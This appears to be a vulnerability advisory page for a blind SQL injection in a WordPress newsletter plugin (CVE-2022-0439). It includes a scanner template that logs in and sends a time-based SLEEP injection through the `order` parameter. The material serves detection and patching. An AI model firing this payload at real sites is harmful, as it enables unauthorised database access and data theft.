CVE-2022-0439: Email Subscribers & Newsletters <= 5.3.1 - Authenticated SQL Injection

2026-02-27 Email Subscribers & Newsletters PoC Public

Description

The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.

PoC

id: CVE-2022-0439

info:
  name: Email Subscribers & Newsletters <= 5.3.1 - Authenticated SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    The Email Subscribers & Newsletters WordPress plugin before 5.3.2 does not correctly escape the `order` and `orderby` parameters to the `ajax_fetch_report_list` action, making it vulnerable to blind SQL injection attacks by users with roles as low as Subscriber. Further, it does not have any CSRF protection in place for the action, allowing an attacker to trick any logged in user to perform the action by clicking a link.
  impact: |
    Attackers can execute arbitrary SQL commands and access sensitive data, potentially leading to data breach or data tampering.
  remediation: |
    Update to version 5.3.2, or a newer patched version
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0439
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/email-subscribers/email-subscribers-newsletters-531-authenticated-or-cross-site-request-forgery-blind-sql-injection
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2022-0439
    epss-score: 0.04156
    epss-percentile: 0.90354
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/email-subscribers/"
  tags: cve,cve2022,wordpress,wp,wp-plugin,sqli,email-subscribers,authenticated,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 302'
          - 'contains(header, "wordpress_logged_in")'
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /wp-admin/admin-ajax.php?action=ajax_fetch_report_list&order=,(SELECT+1+FROM+(SELECT(SLEEP(10)))a)--+- HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 10'
          - 'status_code == 200'
          - 'contains(body, "column-email")'
        condition: and
# digest: 490a0046304402204fb7cd1b9f539f298d52b49752aaf3d4c5270ef3f0b5d53d0b9e292369f46087022043d5164c1af2f2c6aaa00473e072489abf8632399df60dfb0ec892fba8939837:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities